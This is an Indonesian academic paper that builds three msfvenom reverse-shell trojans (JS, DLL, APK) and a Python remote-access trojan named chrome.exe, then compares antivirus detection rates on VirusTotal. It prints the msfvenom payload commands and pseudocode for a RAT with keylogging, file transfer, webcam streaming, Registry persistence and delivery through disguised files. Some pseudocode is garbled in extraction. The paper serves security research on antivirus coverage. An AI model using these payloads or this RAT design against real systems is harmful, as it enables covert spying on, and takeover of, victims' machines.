## Analisa Metasploit Framework “ msfvenom ” Backdoor

## Trojan dan Fully Undetected (FUD) Trojan
Analysis of the Metasploit Framework "msfvenom" Backdoor Trojan and Fully Undetected (FUD) Trojan
Mursalim 1 , Wachid Darmawan 2 , Tresi Aprilia 3 1,3 Program Studi Teknik Informatika, Fakultas Komputer dan Desain, Universitas Selamat Sri
2 Program Studi Manajemen Informatika, STMIK Widya Pratama Pekalongan e-mail: 1 Mursalim.dsc@gmail.com, 2 Wahcid.dw@gmail.com, 3 Tresiaprilia98@gmail.com

## Abstrak
Pengunaan  teknologi  informasi  berupa  penggunaan  internet  di  Indonesia  terus  mengalami peningkatan  sejak  2  dekade  terakhir  hingga  73,24%  atau  202  juta  jiwa  dari  275.77  juta  jiwa penduduk  Indonesia.  Penggunaan  teknologi  tersebut  tidak  lepas  dari  sebuah  ancaman pengambilan informasi secara ilegal. Tingkat kejahatan cyber berjenis malware mencapai 14.235 serangan hingga bulan april 2023. Tujuan penelitian ini adalah melakukan analisa terhadap 3 jenis malware  trojan  yang  dapat  dibuat  melalui metasploit  framework dan  1  jenis  yang  dibuat menggunakan  bahasa  pemrograman  python.  Kemudian  dilakukan  pengujian  dengan  beberapa antivirus  untuk  mengetahui  jenis  antivirus  yang  konsisten  dalam  mendeteksi  ke  empat  jenis malware trojan tersebut. adapun tahapan penelitiannya dimulai dari pembuatan malware trojan menggunakan metasploit framework dengan  memanfaatkan  fungsi  msfvenom  dan Fully Undetected (FUD)  Trojan  menggunakan  bahasa  pemrograman  python.  Selanjutnya  dilakukan pengujian source  code FUD  Trojan,  pengujian  keterdeteksian  virus  melalui  virustotal.com. adapun  hasil  penelitiannya  adalah  keterdeteksian  virus  paling  sedikit  yaitu  11  (15%)  dari  71 antivirus    pada  FUD  Trojan  pada  file  chrome.exe,  sedangkan  keterdeteksian  antivirus  paling banyak ada pada payload windows.dll sebanyak 56 (80%) dari 70 antivirus. Sedangkan payload .js dan undangan.apk masing masing keterdeteksiannya sebanyak 35 (56%) dari 62 antivirus dan 26 (41%) dari 64 antivirus. (FUD) trojan yang memiliki payload FUD malware perlu diwaspadai dikarenakan  tidak  banyak  antivirus  yang  mendeteksi  jenis  payload  tersebut.  jenis  virus  yang mampu  mendeteksi  malware  tersebut  adalah  avira  dan  avg  yang  secara  konsisten  mampu mendeteksi 4 malware tersebut.
Kata kunci: metasploit framework, fully undetected (FUD) trojan, payloads, msfvenom, malware

## Abstract
The  use  of  information  technology  in  the  form  of  internet  use  in  Indonesia  has  continued  to increase over the last 2 decades to 73.24% or 202 million people out of Indonesia's 275.77 million population. The use of this technology can not be separated from the threat of illegal information retrieval. The level of malware-type cybercrime reached 14,235 attacks until April 2023. This research  aims  to  analyze  3  types  of  trojan  malware  that  can  be  created  using  the  Metasploit framework and 1 type that is created using the Python programming language. Then testing was carried out with several antiviruses to find out which type of antivirus was consistent in detecting the four types of trojan malware. The research stages started with creating Trojan malware using the  Metasploit  framework  by  utilizing  the  MSFvenom  function  and  Fully  Undetected  (FUD) Trojan using the Python programming language. Thus, testing the FUD Trojan source code was carried out, testing virus detection via virustotal.com. The results of the research were that the fewest virus detections were 11 (15%) out of 71 antiviruses in the FUD Trojan in the chrome.exe file, while the highest number of antivirus detections were in the windows.dll payload, 56 (80%) out of 70 antiviruses. Meanwhile, payload.js and invitation.apk were detected by 35 (56%) of 62
antiviruses and 26 (41%) of 64 antiviruses, respectively. (FUD) trojans that have FUD malware payloads need to be watched out for because not many antiviruses detect this type of payload. The types of viruses that can detect this malware are Avira and AVG which are consistently able to detect these 4 malware.
Keywords: metasploit framework, fully undetected (FUD) trojan, payloads, msfvenom, malware

## 1. PENDAHULUAN
Penggunaan  Teknologi  Informasi  berupa  penggunaan  internet  terus  mengalami peningkatan  dari  tahun  2000  hingga  saat  ini.  Data  menunjukkan  bahwa  penggunaan  internet ditahun 2000 mencapai 1,9 juta jiwa atau (1%) dari 205.8 juta jiwa penduduk Indonesia di tahun 2000[1][2] sedangkan di tahun 2022 telah mencapai 202 juta jiwa atau 73.24% dari 275,77 juta jiwa  itu  artinya  pengguna  internet  mengalami  peningkatan  yang  sangat  signifikan  selama  2 dekade[1], [2]Kemudian, berdasarkan hasil survey penggunaan TIK di sektor bisnis pada tahun 2014 dengan melibatkan 2.266 perusahaan di 33 provinsi di Indonesia hasilnya mencapai 61,76%, 65,05%  Industri  pengolahan,  48,45%  di  perdagangan,  63,38%  di  Hotel  dan  73,84%  di  sektor Restaurant/Rumah Makan. Hal tersebut menunjukkan bahwa Penggunaan perangkat komputer masih  menjadi  kebutuhan  utama  dalam  menyelesaikan  berbagai  pekerjaan[2],  [3],  [4]. Penggunaan komputer tersebut tentunya tidak lepas dari sebuah ancaman pengambilan informasi secara ilegal atau informasi sesitif lainnya bahkan di era industri 4.0 saat ini, tingkat kejahatan cyber mengalami  peningkatan[5],  [6],  [7],  [8],  [9][10].  Terlebih  saat  ini  semua  pengguna teknologi  saling  terkoneksi  satu  sama  lain  melalui  jaringan  intranet  maupun  internet[11]. Kejahatan cyber yang banyak dilakukan adalah serangan malware, trojan Activity, serangan lain dan information leak [5]. Serangan cyber berjenis Malware mencapai 14.235 serangan hingga bulan april 2023[5].
Penyerang memiliki beberapa cara untuk mengeksplotasi dan mendapatkan rahasia melalui jaringan  internet.  Dengan  menyerang  sistem  website  perusahaan  atau  bahkan  menginterupsi jaringan pada layanan sistem[12]. Banyak lembaga atau perusahaan di dunia seperti meta, google, amazon, lembaga keuangan, mendorong Etichal hacking to menangani kelemahan jaringan dan kerentana  sebuah  sistem  bahkan  lembaga  besar  tersebut  memberikan  bayaran  hadiah  jika menemukan sebuah bug pada sistem yang dibuatnya. Selain itu, banyak lembaga konsultan yang menawarkan  untuk  menganalisa  sebuah  kerentanan  sistem  dan  jaringan.  Kemudian,  lembaga tersebut  mampu  memberikan  rekomendasi  mitigasi  apa  saja  yang  perlu  dilakukan  agar  tidak terhindar dari serangan seorang hacker yang tidak bertanggung jawab[13].
Framework  Metasploit banyak  digunakan  untuk  mengetahui  kerentanan  sebuah  sistem komputer. Salah satu fitur yang digunakan adalah Msfvenom[13]. Msfvenom tersebut memiliki cara kerja untuk menghasilkan sebuah payload (kode berbahaya) untuk sebuah sistem komputer dan sering digunakan untuk tindak kejahatan siber [14]. Msfvenom menyediakan payload output bermacam-macam seperti format payload , sistem operasi target dan teknik enkripsi payload . Fitur tersebut  biasanya  digunakan  untuk  seorang  attacker  melakukan  uji  penetrasi  terhadap  sebuah sistem dan jaringan[13], [15], [16].
Pada  penelitian[17]  melakukan  pengujian  antivirus  dari  malware  trojan  yang  dibuat menggunakan tools msfvenom . Hasilnya menunjukkan bahwa antivirus yang dimodifikasi mampu mendeteksi malware trojan. Namun, jika modifikasi malware script diperlukan peningkatan pada antivirus TheFatRat .  Kemudian  penelitian[18] dalam  bentuk  laporan  projek  menggunakan framework  metasploit  dengan  tool  msfvenom  untuk  menghasilkan  malware  trojan.  Hasil penelitian berhasil dilakukan namun, belum dilakukan tahap pengujian menggunakan antivirus.
Pada  penelitian  [19] membahas  tentang  penggunaan  framework  metasploit  termasuk penggunaan  masfvenom.  Namun,  belum  dilakukan  pembuatan  malware  secara  mandiri.  Oleh karena itu, tujuan penelitian ini adalah menganalisa trojan yang dihasilkan oleh tool msfvenom dari metasploit framework dari berbagai jenis ekstensi yang dilakukan pada penelitian [17], [18],
[19] dan fully undetected (FUD) trojan yang dibuat menggunakan bahasa pemrograman Pyhton. Keduanya akan dijalankan pada sistem Windows 10. Kemudian dilakukan pengujian dari ke 4 jenis malware trojan tersebut menggunakan beberapa antivirus untuk mengetahui jenis antivirus yang  mampu  mendeteksi  secara  konsisten  terhadap  serangan  malware  trojan  tersebut  dengan membandingkan pada penelitian sebelumnya yakni penelitian [17], [18], [19] . Penelitian  ini  merupakan  bagian  pembelajaran  dari Ethical  hacking untuk  memberikan sebuah  gambaran  kerentanan  sebuah  sistem  sehingga,  ke  depannya  kita  mampu  memberikan dampak positif dalam memberikan sebuah rekomendasi antivirus yang digunakan oleh pengguna komputer dan atau mitigasi pencegahan serangan khususnya akibat dari malware Trojan. Dalam eksperiment  penelitian, Bash  script  shell memiliki  peranan  penting  untuk  digunakan mengkonfigurasikan sebuah payload dengan sistem yang akan diserang oleh attacker. Hal tersebut dikarenakan dalam melakukan konfigurasi diperlukan perhitungan waktu seberapa lama payload tersebut akan tetap bertahan pada sistem komputer target[20].

## 2. METODE PENELITIAN

## 1. Pengumpulan Informasi
Tahapan ini, dilakukan proses information gathering terkait dengan topik penelitian tentang malware trojan, serangan malware yang bersumber dari laporan siber BSSN RI, informasi tentang Metasploit  framework yang  dilakukan  pada  penelitian  [17],  [18],  [19] dan  FUD  Trojan  yang dibuat menggunakan bahasa pemrograman pyhton.
Gambar 2 Metode penelitian Analisa Metasploit Framework “msfvenom” Backdoor Trojan dan Fully Undetected (FUD) Trojan
Pada  tahapan  pengumpulan  literasi  ada  beberapa  aturan  dalam  pengumpulannya  berikut adalah aturan penelusuran artikel penelitian[21]:
(Investigasi* atau Analis*) dan (Phishing* atau scam* atau spoof*) dan ( Remote dan Access dan Trojan atau malware ) Gambar 3 Aturan pencarian literatur
Berikut adalah hasil penelusuran artikel penelitian terkait dengan topik penelitian:
Gambar 4 Hasil Kajian Literasi terkait dengan RAT [5]
Berdasarkan  gambar  4  tersebut  adalah  11  artikel  utama  yang  membahas  tentang Remote Access Trojan dan ditambah 1 artikel laporan serangan dari BSSN RI. Dalam pembahasan utama tersebut  dibagi  menjadi  4  jenis  topik  pembahasan  yaitu: Phising,  Spyware  Analysis,  RAT  dan Malware.
2. Proses Pembuatan FUD Trojan
Tahapan tersebut, pembuatan FUD Trojan menggunakan bahasa pemrograman pyhton dan menggunakan  psudocode  yang  sudah  dirancang  sesuai  dengan  tujuan  dan  fungsinya. Kemudian,  dalam  tahapan  pembuatan  FUD  Trojan  menggunakan  beberapa  libraries  yang tersedia  pada  pyhton  seperti: libraries  socket,  json,  os,  cv2,  threading,  pickle,  struct, imagegrab dan KeyLogger.
Tabel 1 script payload pada msfvenom dan FUD Trojan
N o Jenis Ekstensi Perintah / source code 1 Format Javascript[18] msfvenom -p js/meterpreter/reverse_tcp LHOST=<IP address> LPORT=<port> -f raw > payload.js 2 Format dll[19] msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP address> LPORT=<port> -f dll -o payload.dll 3 Format apk[19] msfvenom -p android/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=<PORT> R > <lokasi penyimpanan>/nama_file.apk 4 FUD trojan Import socket *
3. Pengujian Trojan
Pada  tahapan  pengujian  Trojan  tersebut,  dilakukan  pengujian source  code dengan menggunakan kali linux. Kemudian source tersebut akan dianalisa lebih lanjut menggunakan sebuah  tool  yang  mampu  menscan  malware  atau  virus  yakni  menggunakan  virustotal.
Virustotal dapat dikunjungi pada laman https:// www.virustotal.com
4. Analisa code FUD Trojan dan Msfvenom Ditahapan  ini,  kode script FUD  Trojan  dan  hasil  pembuatan  malware  menggunakan Msfvenom akan dinalisis source code dan hasil scan dari sistem virustotal
5. Laporan hasil analisa
Melaporkan hasil analisa  FUD Trojan dan Msfvenom berdasarkan hasil analisa sebelumnya
6. Rekomendasi
Setelah  dilakukan  analisa  FUD  dan  Msfvenom,  maka  dilanjutkan  dengan  tahapan rekomendasi  dimana  dalam  tahapan  ini  diperlukan  sebuah  saran  atau  mitigasi  awal  agar terhadap kedua jenis malware tersebut agar tidak menimbulkan masalah dikemudian hari.

## 3. HASIL DAN PEMBAHASAN
3.1 Hasil
Berikut adalah Psudocode pembuatan FUD Malware yang terdiri dari 6 fungsi yaitu: fungsi receive_command, fungsi upload, fungsi download, fungsi open_log, fungsi log_thread , dan fungsi start_stream.
1 Function receive_command()
2 3 Import libraries;
Sc   socket libraries. Socket_STREAM
4
5
6 7 8 9 10 11
12 13 14
Sc   connect IP Address (public,private), PORT_NUMBER data   none While True: Try: data  data+sc.recv(number_size_Memory).decode().rstrip() return json.load(var)   variabel data Except ValueError: Continue;
15 Function  upload (Nama_File)
16 17 18 File   open(Nama_file,’rb’) Sc.send   (var.read()) File.close()
19 Function Download (Nama_File)
20 21 22 23 24 25 26 27 28
29 30 31
File   open(Nama_file,’rb’) Sc.settimout(True) _file   sc.recv(Number_size_Memory) While _file” File.write(_file) Try: _file   sc.recv(Number_size_memory) Except socket.timeout as e: Break Sc.settimeout(None) File.close()
32 Function open_log():
33 Sc.send(KeyLogger.read_log().encode())
34 Function log_thread():
35 36
37 T   none;
Threading.thread(target=open log)
T.start()
38 Function start_cam():
39 40 41 42 43 44 45 46 Sock   socket libraries. Socket_STREAM Sock.connet(IP_Address, PORT_NUMBER)
Video   class cv2.VideoCapture(false) While(Video.isOpened()): Img, frame   video.read() B   pickle.dumps(var frame) Key   struct.pack(“Q”, len(b))+b Sock.sendal(var key)
Gambar 5 Psudocode FUD Malware
Setelah pembuatan psudocode FUD Malware dilakukan maka, source code tersebut build up  menjadi  bentuk  ekstensi  apk.  Dalam  hal  ini  adalah  menjadi  jenis  file  undangan.apk. kemudian, malware lain dapat dibuat menggunakan source code sesuai pada tabel 1 ke dalam beberapa  bentuk  ekstensi  seperti:  chrome.exe,  payload_java.js,  payload_windows.dll. Berikut adalah hasil pembuatan payload yang terdiri dari beberapa jenis ekstensi:
Gambar 6 Hasil pembuatan Malware berbagai jenis ekstensi

## 3.1.1 Pengujian FUD Malware
Dalam pengujian FUD Malware dan Malware menggunakan sistem operasi kali linux sebagai komputer attacker dan sistem operasi windows 10 sebagai komputer target. Kemudian jaringan yang  digunakan  dalam  eksperimen  adalah  jaringan Local  Area  Network (LAN)  atau menggunakan  wifi  yang  berada  pada  area  tertentu.  Kemudian,  perantara  yang  digunakan adalah USB atau link yang dikirimkan melalui Email atau Media sosial seperti WA Berikut adalah model pengujian FUD Malware disajikan pada gambar 7:
Gambar 7 Desain model pengujian FUD Malware
Gambar 8 hasil pengujian FUD Malware menggunakan fungsi start_cam
Gambar 8 menunjukkan bahwa FUD Malware berjalan lancar pada komputer target, sebelumnya komputer target telah diberikan sebuah payload dalam bentuk file undangan.apk dimana  komputer  target  tidak  menyadari  bahwa  komputernya  telah  serang  oleh  attacker setelah payload diaktifkan oleh komputer target.
3.2 Pembahasan
3.2.1 Analisis Source code FUD Malware Tahapan ini, analisa source code FUD Malware digunakan untuk mengetahui fungsi dari source code yang telah dituliskan kedalam script payload.

## Tabel 2 Hasil analisa source code FUD Malware
SOURCE CODE ANALISA import  sys ,  socket,  subprocess,  os,  cv2, threadning,  pickle,  struct,  pyautogui, pygame, numpy, shutil,
from subprocess import PIPE from logger import KeyLogger from PIL import ImageGrab
Source  code tersebut  merupakan  bagian dari  importing  beberapa  libraries  penting pada python untuk keperluan proses RAT
Variabel  bernama  sc  yang  mengandung source berupa penggunaan socket melalui koneksi IP lokal 192.168. 234.230 Data  memiliki  nilai  data  ditambahkan dengan  variabel  sebelumnya  yakni  SC untuk  dilakukan  decoding  dan  remove strip File  yang  berisikan  tentang  i/o  untuk memperoleh informasi dari PC target
File  yang  berisikan  tentang  i/o  yang berfungsi  untuk  menyetak  informasi  dari PC target Pembuatan perintah KeyLooger Variabel  sock  menggunakan  socket  yang terkoneksi  pada  IP:  192.168.243.230 dengan port: 9998
Menjalankan  fungsi  threading  pada variabel t Socket dengan IP yang sama dan port yang berbeda.  Kemudian,  menjalankan  fungsi lain yaitu pygame.display secara FULLSCREEN kemudian dikombinasikan  dengan  openCV  versi  2 untuk  menangkap  video  streaming  pada target.
Persisten  area,  dimana  pada  blok  source code  ini,  menanamkan  program  malware
RAT ini ke dalam Registry Windows agar dapat  dijalankan  secara  otomatis  ketika PC/Laptop dinyalakan.
3.2.2 Analisa pengujian keterdeteksian malware
Dalam  analisa  kedua  Malware  tersebut  digunakan  tools  bernama  virustotal  yang  tersedia pada laman berikut ini: https://www.virustotal.com
Setiap malware yang telah dibuat akan dilakukan analisa secara otomatis apakah malware tersebut  mampu  dideteksi  dengan  antivirus  atau  tidak.  Berikut  adalah  hasil  analisa keterdeteksian malware/virus:

## 1. Payload Undangan.apk

## Gambar 9 Hasil analisa payload Undangan.apk
Gambar 9 merupakan hasil analisa payload Undangan.apk, dari hasil analisa terdapat 26 dari 64  jenis  antivirus  yang  mampu  mendeteksi  bahwa  file  undangan.apk  tersebut  memiliki payload malware trojan berikut adalah jenis virus yang mampu mendeteksi malware tersebut adalah  avira,  avg,  avast,  kaspersky,  google,  microsoft,  Esed-Node32,  cynet  dan  lainnya. Kemudian, antivirus yang tidak mampu mendeteksi malware tersebut adalah Baidu, Avast- mobile, malwarebytes, Tencent dan lain sebagainya.

## 2. Payload_java.js

## Gambar 10 Hasil analisa payload pada payload_java.js
Gambar 10 adalah hasil analisa payload java.js. ada 35 dari 62 jenis antivirus yang mampu mendeteksi  bahwa  payload  java.js  mengandung  payload  malware  trojan.  Beberapa  jenis virus  yang  mampu  mendeteksi  malware  tersebut  adalah  avira,  avg,  avast,  defender, kaspersky,  Ese-Node32.  Kemudian,  antivirus  yang  tidak  mampu  mendeteksi  malware tersebut adalah Baidu, Avast-mobile, malwarebytes, Tencent.

## 3. Payload_windows.dll
Gambar 11 Hasil analisa payload_windows.dll
Gambar 11 merupakan hasil analisa payload_windows.dll. ada 56 dari 70 jenis antivirus yang mampu  mendeteksi  bahwa  payload_windows.dll  tersebut  memiliki  source  code  payload malware  trojan  yang  berbahaya  jika  dijalankan.  Beberapa  jenis  virus  yang  mempu mendeteksi malware tersebut adalah avira, avg, avast, kaspersky, trustlook, Tencent, Google, Microsoft, Avast-mobile, Cynet dan lainnya.

## 4. Payload chrome.exe (FUD)

## Gambar 12 Hasil analisa payload pada chrome.exe
Gambar 12 merupakan hasil analisa payload pada chrome.exe file tersebut merupakan hasil build up dari FUD Malware menggunakan bahasa pemrograman python. Hanya 11 dari 71 jenis  antivirus  yang  mampu  mendeteksi  bahwa  file  tersebut  memiliki  payload  malware trojan.  Avg dan avira mampu mendeteksi file malware trojan tersebut.
Gambar 13 Hasil analisa Virustotal.com terhadap 4 jenis malware Trojan
Berdasarkan gambar 13 menunjukkan bahwa ada 4 file yang memiliki ekstensi exe, Js, Apk dan dll di analisa menggunakan virustotal.com . chrome.exe memiliki keterdeteksian virus paling sedikit yaitu 11 antivirus, sedangkan keterdeteksian antivirus paling banyak ada pada payload windows.dll sebanyak 56 antivirus. Sedangkan Payload.js dan undangan.apk masing masing keterdeteksiannya sebanyak 35 dan 26 antivirus.

## 4. KESIMPULAN DAN SARAN

## 4.1 Kesimpulan
Dari  hasil  tersebut  diatas  dapat  disimpulkan  bahwa  malware  trojan  yang  buat menggunakan  bahasa  pemrograman  python  (FUD)  trojan  yang  memiliki  payload  FUD Malware  perlu  diwaspadai  dikarenakan  tidak  banyak  antivirus  yang  mendeteksi  jenis payload tersebut. jenis virus yang mampu mendeteksi malware tersebut adalah avira dan avg yang secara konsisten mampu mendeteksi 4 malware tersebut. namun demikian, diharapkan setiap penggunaan sistem komputer harus memperbaharui antivirus agar selalu mengenali payload  malware trojan terbaru  sehingga  sistem  komputer  tersebut  menjadi  lebih  aman digunakan  terhindar  dari  kejahatan  cyber  seperti:  phising,  cracking,  spoofing,  botnet  dan lainnya.

## 4.2 Saran
Dibutuhkan  konfigurasi  lebih  lanjut  dengan  router  dan penggunaan  IP  Address  serta Port  yang  digunakan,  pengujian  dilakukan  secara  public  menggunakan  internet. Penambahan fungsi malware pada FUD Trojan dan diujikan pada beberapa sistem operasi lain  seperti  IOS,  Linux,  windows    11.  Selanjutnya  diperlukan  adanya  komparasi  dengan format lain seperti format js, dll.
11 35 26 56 0 10 20 30 40 50 60 Chrome.exe (FUD) Payload.Js Undangan.Apk Payload_Windows.dll Ju m la h an to viru s y an g m en de te ks i Hasil analisa Virustotal terhadap 4 jenis malware Trojan Jumlah deteksi antivirus

## DAFTAR PUSTAKA
[1] A. Rosman, “Pengguna Internet th 2000 sampai dengan 2017,” Databoks. Accessed: Dec. 25, 2023. [Online]. Available: https://databoks.katadata.co.id/datapublish/2018/02/20/berapa-jumlah-pengguna- internet-di-indonesia
[2] B. Litbang, S. Kementerian, and K. Dan Informatika, “Buku Saku Data dan Tren TIK Indonesia Buku Saku Data dan Tren TIK 2014,” Jakarta, Dec. 2014. Accessed: Dec. 25, 2023. [Online]. Available: https://www.kominfo.go.id/
[3] Wardoyo,  L.  Sularto,  and  T.  Yunitasari,  “Analisis  Penggunaan  dan  Kebutuhan Teknologi  Informasi  dan  Komunikasi  pada  Restoran  skala  kecil  di  Jabodetabek,”  in SNEMA-2015 Padang-Indonesia , 2015, pp. 175–182.
[4] H. D. Jayani, “Penggunaan Internet di Kalangan Siswa Sekolah Semakin Meningkat,” Databoks.
[5] Indonesia security incident response team on intenet infrastructure coordination center, “Laporan  Bulanan  Publik  Hasil  Monitoring  Keamanan  Siber,”  Jakarta,  Apr.  2023. [Online]. Available: www.idsirtii.or.id
[6] A. Bachrain, A. Triyono, and A. Susila, “RI dihantam 700 juta Serangan Siber di 2022, Modus Pemerasan Dominan,” CNN Indonesia.
[7] S.  Sadya,  “Ada  164.131  Kasus  Email  Phising  di  Indonesia  pada  2022,” DataIndonesia.id.
[8] Kominfo  RI,  “Indonesia  Peringkat  ke-2  Dunia  Kasus  Kejahatan  Siber,”  KOMINFO INFORMASI TERKONEKSI.
[9] C. Annur Mutia, “Indeks Keamanan Siber Indonesia Peringkat ke-3 Terendah di Antara Negara G20,” Databoks.
[10]  A. Rosman, “Laporan Serangan Cyber 2022,” Tren Serangan Phsing Terus Meningkat, Capai  Rekor  TInggi  pada  2022.  Accessed:  Dec.  25,  2023.  [Online].  Available: https://databoks.katadata.co.id/datapublish/2023/05/17/tren-serangan-phishing-terus- meningkat-capai-rekor-tertinggi-pada-2022
[11]  L.  Rizkinaswara,  “Revolusi  Industri  4.0,”  Indonesia  Terkoneksi.  Accessed:  Dec.  25, 2023. [Online]. Available: https://aptika.kominfo.go.id/2020/01/revolusi-industri-4-0
[12]  H  Gierow  and  R  Benzmuller,  “More  Attacks  are  Launched  from  the  Web,” Gdatasoftware.com , United Kigdom, pp. 1–1, Sep. 07, 2017.
[13]  M.  Tabassum,  S.  Mohanan,  and  T.  Sharma,  “Ethical  Hacking  and  Penetrate  Testing using  Kali  and  Metasploit  Framework,” International  Journal  of  Innovation  in Computational Science and Engineering , vol. 2, no. 1, pp. 9–22, May 2021, [Online]. Available: https://www.researchgate.net/publication/353320995
[14]  S. Thomas, P. G. Scholar, and T. Bijimol, “Vulnerability Testing on Rooted Android Phones  Using  Msf  Venom  Payloads,” Proceeding  of  The  National  Conference  on Emerging  Computer  Applications  (NCECA) ,  vol.  3,  no.  1,  pp.  27–32,  2021,  doi: 10.5281/zenodo.5112704.
[15]  A.  Dan  Perancangan  Keamanan  Jaringan et  al. ,  “End  User  Dari  Serangan  Exploit Menggunakan Metode Penetration,” 2020.
[16]  A. Kaur, V. Vishal, A. Shaik, and J. Ramesh Babu, “BACKDOOR ENTRANCE TO A WINDOWS SYSTEM,” Industrial Engineering Journal , vol. 52, no. 6, pp. 438–441, Jun. 2023.
[17]  D.  Samociuk,  “Antivirus  Evasion  Methods  in  Modern  Operating  Systems,” Applied Sciences (Switzerland) , vol. 13, no. 8, Apr. 2023, doi: 10.3390/app13085083.
[18]  H. Sharma, D. Lindskog, and E. Schmidt, “Exploting Vulnerabilities of Metasploitable 3 (Windows) using Metasploit Framework,” Edmonton, Dec. 2020.
[19]  S. Raj and N. Walia Kaur, “A Study on Metasploit Framework: A Pen-Testing Tool,” in 2020  International  Conference  on  COmputational  Performance  Evaluation (ComPE) , Carleton University: IEEE Explore, Nov. 2020, pp. 296–302.
[20]  Bijimol  T  K  and  Sabin  Thomas,  “Vulnerability  Testing  on  Rooted  Android  Phones Using  Msf  Venom  Payloads,” National  Conference  on  Emerging  Computer Applications , vol. 3, no. 1, Dec. 2022.
[21]  T. R. Reshmi, “Information security breaches due to ransomware attacks - a systematic literature  review,” International  Journal  of  Information  Management  Data  Insights , vol. 1, no. 2, p. 100013, Nov. 2021, doi: 10.1016/j.jjimei.2021.100013.